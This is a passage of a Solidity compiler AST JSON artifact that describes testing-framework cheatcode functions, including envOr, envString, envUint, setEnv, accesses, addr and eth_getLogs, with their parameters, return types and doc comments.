found."},"functionSelector":"b4a85892","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"13054:5:13","parameters":{"id":12382,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12379,"mutability":"mutable","name":"name","nameLocation":"13076:4:13","nodeType":"VariableDeclaration","scope":12386,"src":"13060:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12378,"name":"string","nodeType":"ElementaryTypeName","src":"13060:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12381,"mutability":"mutable","name":"defaultValue","nameLocation":"13090:12:13","nodeType":"VariableDeclaration","scope":12386,"src":"13082:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12380,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13082:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"13059:44:13"},"returnParameters":{"id":12385,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12384,"mutability":"mutable","name":"value","nameLocation":"13135:5:13","nodeType":"VariableDeclaration","scope":12386,"src":"13127:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12383,"name":"bytes32","nodeType":"ElementaryTypeName","src":"13127:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"13126:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12396,"nodeType":"FunctionDefinition","src":"13335:111:13","nodes":[],"documentation":{"id":12387,"nodeType":"StructuredDocumentation","src":"13148:182:13","text":"Gets the environment variable `name` and parses it as `string`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"d145736c","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"13344:5:13","parameters":{"id":12392,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12389,"mutability":"mutable","name":"name","nameLocation":"13366:4:13","nodeType":"VariableDeclaration","scope":12396,"src":"13350:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12388,"name":"string","nodeType":"ElementaryTypeName","src":"13350:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12391,"mutability":"mutable","name":"defaultValue","nameLocation":"13388:12:13","nodeType":"VariableDeclaration","scope":12396,"src":"13372:28:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12390,"name":"string","nodeType":"ElementaryTypeName","src":"13372:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13349:52:13"},"returnParameters":{"id":12395,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12394,"mutability":"mutable","name":"value","nameLocation":"13439:5:13","nodeType":"VariableDeclaration","scope":12396,"src":"13425:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12393,"name":"string","nodeType":"ElementaryTypeName","src":"13425:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13424:21:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12406,"nodeType":"FunctionDefinition","src":"13638:109:13","nodes":[],"documentation":{"id":12397,"nodeType":"StructuredDocumentation","src":"13452:181:13","text":"Gets the environment variable `name` and parses it as `bytes`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"b3e47705","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"13647:5:13","parameters":{"id":12402,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12399,"mutability":"mutable","name":"name","nameLocation":"13669:4:13","nodeType":"VariableDeclaration","scope":12406,"src":"13653:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12398,"name":"string","nodeType":"ElementaryTypeName","src":"13653:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12401,"mutability":"mutable","name":"defaultValue","nameLocation":"13690:12:13","nodeType":"VariableDeclaration","scope":12406,"src":"13675:27:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":12400,"name":"bytes","nodeType":"ElementaryTypeName","src":"13675:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"13652:51:13"},"returnParameters":{"id":12405,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12404,"mutability":"mutable","name":"value","nameLocation":"13740:5:13","nodeType":"VariableDeclaration","scope":12406,"src":"13727:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12403,"name":"bytes","nodeType":"ElementaryTypeName","src":"13727:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"13726:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12420,"nodeType":"FunctionDefinition","src":"13972:158:13","nodes":[],"documentation":{"id":12407,"nodeType":"StructuredDocumentation","src":"13753:214:13","text":"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"eb85e83b","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"13981:5:13","parameters":{"id":12415,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12409,"mutability":"mutable","name":"name","nameLocation":"14003:4:13","nodeType":"VariableDeclaration","scope":12420,"src":"13987:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12408,"name":"string","nodeType":"ElementaryTypeName","src":"13987:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12411,"mutability":"mutable","name":"delim","nameLocation":"14025:5:13","nodeType":"VariableDeclaration","scope":12420,"src":"14009:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12410,"name":"string","nodeType":"ElementaryTypeName","src":"14009:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12414,"mutability":"mutable","name":"defaultValue","nameLocation":"14048:12:13","nodeType":"VariableDeclaration","scope":12420,"src":"14032:28:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_calldata_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":12412,"name":"bool","nodeType":"ElementaryTypeName","src":"14032:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":12413,"nodeType":"ArrayTypeName","src":"14032:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"13986:75:13"},"returnParameters":{"id":12419,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12418,"mutability":"mutable","name":"value","nameLocation":"14123:5:13","nodeType":"VariableDeclaration","scope":12420,"src":"14109:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":12416,"name":"bool","nodeType":"ElementaryTypeName","src":"14109:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":12417,"nodeType":"ArrayTypeName","src":"14109:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"14108:21:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12434,"nodeType":"FunctionDefinition","src":"14358:164:13","nodes":[],"documentation":{"id":12421,"nodeType":"StructuredDocumentation","src":"14136:217:13","text":"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"74318528","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"14367:5:13","parameters":{"id":12429,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12423,"mutability":"mutable","name":"name","nameLocation":"14389:4:13","nodeType":"VariableDeclaration","scope":12434,"src":"14373:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12422,"name":"string","nodeType":"ElementaryTypeName","src":"14373:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12425,"mutability":"mutable","name":"delim","nameLocation":"14411:5:13","nodeType":"VariableDeclaration","scope":12434,"src":"14395:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12424,"name":"string","nodeType":"ElementaryTypeName","src":"14395:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12428,"mutability":"mutable","name":"defaultValue","nameLocation":"14437:12:13","nodeType":"VariableDeclaration","scope":12434,"src":"14418:31:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_calldata_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":12426,"name":"uint256","nodeType":"ElementaryTypeName","src":"14418:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":12427,"nodeType":"ArrayTypeName","src":"14418:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"14372:78:13"},"returnParameters":{"id":12433,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12432,"mutability":"mutable","name":"value","nameLocation":"14515:5:13","nodeType":"VariableDeclaration","scope":12434,"src":"14498:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":12430,"name":"uint256","nodeType":"ElementaryTypeName","src":"14498:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":12431,"nodeType":"ArrayTypeName","src":"14498:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"14497:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12448,"nodeType":"FunctionDefinition","src":"14749:162:13","nodes":[],"documentation":{"id":12435,"nodeType":"StructuredDocumentation","src":"14528:216:13","text":"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`.\n Reverts if the variable could not be parsed.\n Returns `defaultValue` if the variable was not found."},"functionSelector":"4700d74b","implemented":false,"kind":"function","modifiers":[],"name":"envOr","nameLocation":"14758:5:13","parameters":{"id":12443,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12437,"mutability":"mutable","name":"name","nameLocation":"14780:4:13","nodeType":"VariableDeclaration","scope":12448,"src":"14764:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12436,"name":"string","nodeType":"ElementaryTypeName","src":"14764:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12439,"mutability":"mutable","name":"delim","nameLocation":"14802:5:13","nodeType":"VariableDeclaration","scope":12448,"src":"14786:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12438,"name":"string","nodeType":"ElementaryTypeName","src":"14786:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12442,"mutability":"mutable","name":"defaultValue","nameLocation":"14827:12:13","nodeType":"VariableDeclaration","scope":12448,"src":"14809:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_calldata_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":12440,"name":"int256","nodeType":"ElementaryTypeName","src":"14809:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":12441,"nodeType":"ArrayTypeName","src":"14809:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"14763:77:13"},"returnParameters":{"id":12447,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12446,"mutability":"mutable","name":"value","nameLocation":"14904:5:13","nodeType":"VariableDeclaration","scope":12448,"src":"14888:21:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":12444,"name":"int256","nodeType":"ElementaryTypeName","src":"14888:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":12445,"nodeType":"ArrayTypeName","src":"14888:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"14887:23:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12456,"nodeType":"FunctionDefinition","src":"15059:85:13","nodes":[],"documentation":{"id":12449,"nodeType":"StructuredDocumentation","src":"14917:137:13","text":"Gets the environment variable `name` and parses it as `string`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"f877cb19","implemented":false,"kind":"function","modifiers":[],"name":"envString","nameLocation":"15068:9:13","parameters":{"id":12452,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12451,"mutability":"mutable","name":"name","nameLocation":"15094:4:13","nodeType":"VariableDeclaration","scope":12456,"src":"15078:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12450,"name":"string","nodeType":"ElementaryTypeName","src":"15078:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15077:22:13"},"returnParameters":{"id":12455,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12454,"mutability":"mutable","name":"value","nameLocation":"15137:5:13","nodeType":"VariableDeclaration","scope":12456,"src":"15123:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12453,"name":"string","nodeType":"ElementaryTypeName","src":"15123:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15122:21:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12467,"nodeType":"FunctionDefinition","src":"15326:110:13","nodes":[],"documentation":{"id":12457,"nodeType":"StructuredDocumentation","src":"15150:171:13","text":"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"14b02bc9","implemented":false,"kind":"function","modifiers":[],"name":"envString","nameLocation":"15335:9:13","parameters":{"id":12462,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12459,"mutability":"mutable","name":"name","nameLocation":"15361:4:13","nodeType":"VariableDeclaration","scope":12467,"src":"15345:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12458,"name":"string","nodeType":"ElementaryTypeName","src":"15345:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12461,"mutability":"mutable","name":"delim","nameLocation":"15383:5:13","nodeType":"VariableDeclaration","scope":12467,"src":"15367:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12460,"name":"string","nodeType":"ElementaryTypeName","src":"15367:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15344:45:13"},"returnParameters":{"id":12466,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12465,"mutability":"mutable","name":"value","nameLocation":"15429:5:13","nodeType":"VariableDeclaration","scope":12467,"src":"15413:21:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12463,"name":"string","nodeType":"ElementaryTypeName","src":"15413:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12464,"nodeType":"ArrayTypeName","src":"15413:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"15412:23:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12475,"nodeType":"FunctionDefinition","src":"15585:77:13","nodes":[],"documentation":{"id":12468,"nodeType":"StructuredDocumentation","src":"15442:138:13","text":"Gets the environment variable `name` and parses it as `uint256`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"c1978d1f","implemented":false,"kind":"function","modifiers":[],"name":"envUint","nameLocation":"15594:7:13","parameters":{"id":12471,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12470,"mutability":"mutable","name":"name","nameLocation":"15618:4:13","nodeType":"VariableDeclaration","scope":12475,"src":"15602:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12469,"name":"string","nodeType":"ElementaryTypeName","src":"15602:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15601:22:13"},"returnParameters":{"id":12474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12473,"mutability":"mutable","name":"value","nameLocation":"15655:5:13","nodeType":"VariableDeclaration","scope":12475,"src":"15647:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12472,"name":"uint256","nodeType":"ElementaryTypeName","src":"15647:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15646:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12486,"nodeType":"FunctionDefinition","src":"15845:109:13","nodes":[],"documentation":{"id":12476,"nodeType":"StructuredDocumentation","src":"15668:172:13","text":"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"f3dec099","implemented":false,"kind":"function","modifiers":[],"name":"envUint","nameLocation":"15854:7:13","parameters":{"id":12481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12478,"mutability":"mutable","name":"name","nameLocation":"15878:4:13","nodeType":"VariableDeclaration","scope":12486,"src":"15862:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12477,"name":"string","nodeType":"ElementaryTypeName","src":"15862:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12480,"mutability":"mutable","name":"delim","nameLocation":"15900:5:13","nodeType":"VariableDeclaration","scope":12486,"src":"15884:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12479,"name":"string","nodeType":"ElementaryTypeName","src":"15884:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"15861:45:13"},"returnParameters":{"id":12485,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12484,"mutability":"mutable","name":"value","nameLocation":"15947:5:13","nodeType":"VariableDeclaration","scope":12486,"src":"15930:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":12482,"name":"uint256","nodeType":"ElementaryTypeName","src":"15930:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":12483,"nodeType":"ArrayTypeName","src":"15930:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"15929:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12494,"nodeType":"FunctionDefinition","src":"15996:70:13","nodes":[],"documentation":{"id":12487,"nodeType":"StructuredDocumentation","src":"15960:31:13","text":"Sets environment variables."},"functionSelector":"3d5923ee","implemented":false,"kind":"function","modifiers":[],"name":"setEnv","nameLocation":"16005:6:13","parameters":{"id":12492,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12489,"mutability":"mutable","name":"name","nameLocation":"16028:4:13","nodeType":"VariableDeclaration","scope":12494,"src":"16012:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12488,"name":"string","nodeType":"ElementaryTypeName","src":"16012:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12491,"mutability":"mutable","name":"value","nameLocation":"16050:5:13","nodeType":"VariableDeclaration","scope":12494,"src":"16034:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12490,"name":"string","nodeType":"ElementaryTypeName","src":"16034:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"16011:45:13"},"returnParameters":{"id":12493,"nodeType":"ParameterList","parameters":[],"src":"16065:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12506,"nodeType":"FunctionDefinition","src":"16198:109:13","nodes":[],"documentation":{"id":12495,"nodeType":"StructuredDocumentation","src":"16102:91:13","text":"Gets all accessed reads and write slot from a `vm.record` session, for a given address."},"functionSelector":"65bc9481","implemented":false,"kind":"function","modifiers":[],"name":"accesses","nameLocation":"16207:8:13","parameters":{"id":12498,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12497,"mutability":"mutable","name":"target","nameLocation":"16224:6:13","nodeType":"VariableDeclaration","scope":12506,"src":"16216:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12496,"name":"address","nodeType":"ElementaryTypeName","src":"16216:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16215:16:13"},"returnParameters":{"id":12505,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12501,"mutability":"mutable","name":"readSlots","nameLocation":"16267:9:13","nodeType":"VariableDeclaration","scope":12506,"src":"16250:26:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12499,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16250:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12500,"nodeType":"ArrayTypeName","src":"16250:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":12504,"mutability":"mutable","name":"writeSlots","nameLocation":"16295:10:13","nodeType":"VariableDeclaration","scope":12506,"src":"16278:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12502,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16278:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12503,"nodeType":"ArrayTypeName","src":"16278:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"16249:57:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12514,"nodeType":"FunctionDefinition","src":"16363:74:13","nodes":[],"documentation":{"id":12507,"nodeType":"StructuredDocumentation","src":"16313:45:13","text":"Gets the address for a given private key."},"functionSelector":"ffa18649","implemented":false,"kind":"function","modifiers":[],"name":"addr","nameLocation":"16372:4:13","parameters":{"id":12510,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12509,"mutability":"mutable","name":"privateKey","nameLocation":"16385:10:13","nodeType":"VariableDeclaration","scope":12514,"src":"16377:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12508,"name":"uint256","nodeType":"ElementaryTypeName","src":"16377:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16376:20:13"},"returnParameters":{"id":12513,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12512,"mutability":"mutable","name":"keyAddr","nameLocation":"16428:7:13","nodeType":"VariableDeclaration","scope":12514,"src":"16420:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12511,"name":"address","nodeType":"ElementaryTypeName","src":"16420:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16419:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12531,"nodeType":"FunctionDefinition","src":"16500:160:13","nodes":[],"documentation":{"id":12515,"nodeType":"StructuredDocumentation","src":"16443:52:13","text":"Gets all the logs according to specified filter."},"functionSelector":"35e1349b","implemented":false,"kind":"function","modifiers":[],"name":"eth_getLogs","nameLocation":"16509:11:13","parameters":{"id":12525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12517,"mutability":"mutable","name":"fromBlock","nameLocation":"16529:9:13","nodeType":"VariableDeclaration","scope":12531,"src":"16521:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12516,"name":"uint256","nodeType":"ElementaryTypeName","src":"16521:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12519,"mutability":"mutable","name":"toBlock","nameLocation":"16548:7:13","nodeType":"VariableDeclaration","scope":12531,"src":"16540:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12518,"name":"uint256","nodeType":"ElementaryTypeName","src":"16540:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12521,"mutability":"mutable","name":"target","nameLocation":"16565:6:13","nodeType":"VariableDeclaration","scope":12531,"src":"16557:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12520,"name":"address","nodeType":"ElementaryTypeName","src":"16557:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12524,"mutability":"mutable","name":"topics","nameLocation":"16592:6:13","nodeType":"VariableDeclaration","scope":12531,"src":"16573:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12522,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16573:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12523,"nodeType":"ArrayTypeName","src":"16573:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"16520:79:13"},"returnParameters":{"id":12530,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12529,"mutability":"mutable","name":"logs","nameLocation":"16654:4:13","nodeType":"VariableDeclaration","scope":12531,"src":"16634:24:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_EthGetLogs_$12087_memory_ptr_$dyn_memory_ptr","typeString":"struct 